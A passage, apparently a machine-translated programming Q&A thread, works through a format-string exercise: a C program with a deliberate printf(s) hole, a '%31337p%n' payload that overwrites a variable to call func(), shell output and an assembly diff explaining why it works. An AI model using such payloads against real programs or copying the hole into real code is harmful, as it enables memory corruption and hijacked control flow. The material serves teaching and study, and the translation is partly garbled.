让我们尝试使用和不使用打印:
$ cat > f.c << \EOF
#include <stdio.h>
void func() {
fprintf(stderr, "func\n");
}
int main()
{
char s[200];
int a=123;
int b=&a;
#ifdef FIXER
fprintf(stderr, "%p\n", b); /* make "b" actually used somewhere */
#endif
scanf("%50s",s);
printf(s);
if (a==31337)
func();
}
EOF
$ gcc --version | head -n 1; uname -m
gcc (Debian 4.7.2-5) 4.7.2
i686
$ gcc -S f.c -o doesnt_work.s
f.c: In function 'main':
f.c:10:11: warning: initialization makes integer from pointer without a cast [enabled by default]
$ gcc -S -DFIXER f.c -o does_work.s
f.c: In function 'main':
f.c:10:11: warning: initialization makes integer from pointer without a cast [enabled by default]
$ gcc doesnt_work.s -o doesnt_work; gcc does_work.s -o does_work
$ echo '%31337p%n' | ./does_work > /dev/null
0xbfe75970
func
$ echo '%31337p%n' | ./doesnt_work > /dev/null
Segmentation fault
如问题所说,我们清楚地看到,没有打印b
第一失败。
让我们比较一下里面是什么hapenning:
$ diff -ur does_work.s doesnt_work.s
--- does_work.s 2013-02-06 03:17:06.000000000 +0300
+++ doesnt_work.s 2013-02-06 03:16:52.000000000 +0300
@@ -29,8 +29,6 @@
.size func, .-func
.section .rodata
.LC1:
- .string "%p\n"
-.LC2:
.string "%50s"
.text
.globl main
@@ -48,15 +46,9 @@
movl $123, 16(%esp)
leal 16(%esp), %eax
movl %eax, 220(%esp)
- movl stderr, %eax
- movl 220(%esp), %edx /* !!! */
- movl %edx, 8(%esp) /* !!! */
- movl $.LC1, 4(%esp)
- movl %eax, (%esp)
- call fprintf
leal 20(%esp), %eax
movl %eax, 4(%esp)
- movl $.LC2, (%esp)
+ movl $.LC1, (%esp)
call __isoc99_scanf
leal 20(%esp), %eax
movl %eax, (%esp)
在我们看到标线“获得b
值到EDX%,然后把它作为堆栈3'rd的说法。”
由于printf和scanf使用cdecl调用约定,因此堆栈在调用中保持大致相同,所以第三个参数仍然可用于易受攻击的printf
进行设置。
当我们不打印b
时,它没有进入堆栈以便我们的注入格式字符串很容易获得。
With enough %p%p%p%p%p%p...
无论如何,我们应该能够达到我们的实际a
或b
,但50个输入字符的限制正在阻碍我们。
'printf(s)',其中's'由用户输入,本质上是不安全的 - 我想这是你问题的要点。任何此类攻击都可以并且应该避免简单地通过不写。格式字符串应该几乎总是字符串文字。 –
'int b =&a;'无效。你是不是指'int * b =&a;'? –
是的,这正是我的问题。这是我应该做的练习。任何人都可以提供如何通过输入字符串来执行func()的例子吗? –